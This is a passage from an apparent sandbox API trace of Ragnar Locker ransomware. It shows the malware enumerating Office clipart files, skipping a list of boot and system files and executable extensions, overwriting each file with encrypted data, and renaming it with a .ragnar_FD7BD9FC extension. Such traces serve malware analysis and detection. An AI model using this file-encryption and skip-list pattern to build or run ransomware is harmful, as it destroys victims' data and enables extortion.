(lpAddress=0x0, dwSize=0x164c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.763] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x164c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x164c, lpOverlapped=0x0) returned 1 [0085.764] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.764] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x164c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.764] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x164c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x164c, lpOverlapped=0x0) returned 1 [0085.764] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x164c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.764] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x164c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.765] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.765] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.765] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.765] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.765] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.765] GetProcessHeap () returned 0x580000 [0085.765] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.765] CloseHandle (hObject=0xf4) returned 1 [0085.765] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" [0085.765] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.ragnar_FD7BD9FC" [0085.765] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.766] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1 [0085.766] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.766] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0197979.WMF" | out: lpString1="J0197979.WMF") returned="J0197979.WMF" [0085.766] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned=".WMF" [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="autorun.inf") returned 1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="boot.ini") returned 1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="bootfont.bin") returned 1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="bootsect.bak") returned 1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="bootmgr") returned 1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="bootmgr.efi") returned 1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="bootmgfw.efi") returned 1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="desktop.ini") returned 1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="iconcache.db") returned 1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="ntldr") returned -1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="ntuser.dat") returned -1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="ntuser.dat.log") returned -1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="ntuser.ini") returned -1 [0085.766] lstrcmpiW (lpString1="J0197979.WMF", lpString2="thumbs.db") returned -1 [0085.766] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.766] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.766] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.766] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.766] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.766] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.766] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf")) returned 0x20 [0085.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.767] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=40230) returned 1 [0085.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9d1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.767] GetProcessHeap () returned 0x580000 [0085.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.767] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.768] VirtualAlloc (lpAddress=0x0, dwSize=0x9d26, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.769] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9d26, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9d26, lpOverlapped=0x0) returned 1 [0085.770] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.770] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9d26, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.770] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9d26, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9d26, lpOverlapped=0x0) returned 1 [0085.771] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9d26, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.771] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.771] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9d26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.771] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.771] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.771] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.771] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.771] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.771] GetProcessHeap () returned 0x580000 [0085.771] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.771] CloseHandle (hObject=0xf4) returned 1 [0085.771] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" [0085.771] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.ragnar_FD7BD9FC" [0085.772] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.772] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1 [0085.772] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.772] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0197983.WMF" | out: lpString1="J0197983.WMF") returned="J0197983.WMF" [0085.772] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned=".WMF" [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="autorun.inf") returned 1 [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="boot.ini") returned 1 [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="bootfont.bin") returned 1 [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="bootsect.bak") returned 1 [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="bootmgr") returned 1 [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="bootmgr.efi") returned 1 [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="bootmgfw.efi") returned 1 [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="desktop.ini") returned 1 [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="iconcache.db") returned 1 [0085.772] lstrcmpiW (lpString1="J0197983.WMF", lpString2="ntldr") returned -1 [0085.773] lstrcmpiW (lpString1="J0197983.WMF", lpString2="ntuser.dat") returned -1 [0085.773] lstrcmpiW (lpString1="J0197983.WMF", lpString2="ntuser.dat.log") returned -1 [0085.773] lstrcmpiW (lpString1="J0197983.WMF", lpString2="ntuser.ini") returned -1 [0085.773] lstrcmpiW (lpString1="J0197983.WMF", lpString2="thumbs.db") returned -1 [0085.773] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.773] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.773] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.773] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.773] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.773] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.773] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf")) returned 0x20 [0085.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.774] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26252) returned 1 [0085.774] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6683, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.774] GetProcessHeap () returned 0x580000 [0085.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.774] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.776] VirtualAlloc (lpAddress=0x0, dwSize=0x668c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.776] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.776] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.776] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x668c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x668c, lpOverlapped=0x0) returned 1 [0085.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.777] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x668c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.777] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x668c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x668c, lpOverlapped=0x0) returned 1 [0085.778] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x668c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.778] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x668c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.778] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.778] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.778] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.778] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.778] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.778] GetProcessHeap () returned 0x580000 [0085.778] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.778] CloseHandle (hObject=0xf4) returned 1 [0085.778] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" [0085.778] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.ragnar_FD7BD9FC" [0085.778] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.779] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0085.779] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.779] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198016.WMF" | out: lpString1="J0198016.WMF") returned="J0198016.WMF" [0085.779] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned=".WMF" [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="autorun.inf") returned 1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="boot.ini") returned 1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="bootfont.bin") returned 1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="bootsect.bak") returned 1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="bootmgr") returned 1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="bootmgr.efi") returned 1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="bootmgfw.efi") returned 1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="desktop.ini") returned 1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="iconcache.db") returned 1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="ntldr") returned -1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="ntuser.dat") returned -1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="ntuser.dat.log") returned -1 [0085.779] lstrcmpiW (lpString1="J0198016.WMF", lpString2="ntuser.ini") returned -1 [0085.780] lstrcmpiW (lpString1="J0198016.WMF", lpString2="thumbs.db") returned -1 [0085.780] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.780] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.780] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.780] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.780] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.780] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.780] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf")) returned 0x20 [0085.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.780] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33948) returned 1 [0085.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.780] GetProcessHeap () returned 0x580000 [0085.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.780] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.782] VirtualAlloc (lpAddress=0x0, dwSize=0x849c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.782] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x849c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x849c, lpOverlapped=0x0) returned 1 [0085.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.784] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x849c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.784] WriteFile (in: hFile=0xf4, 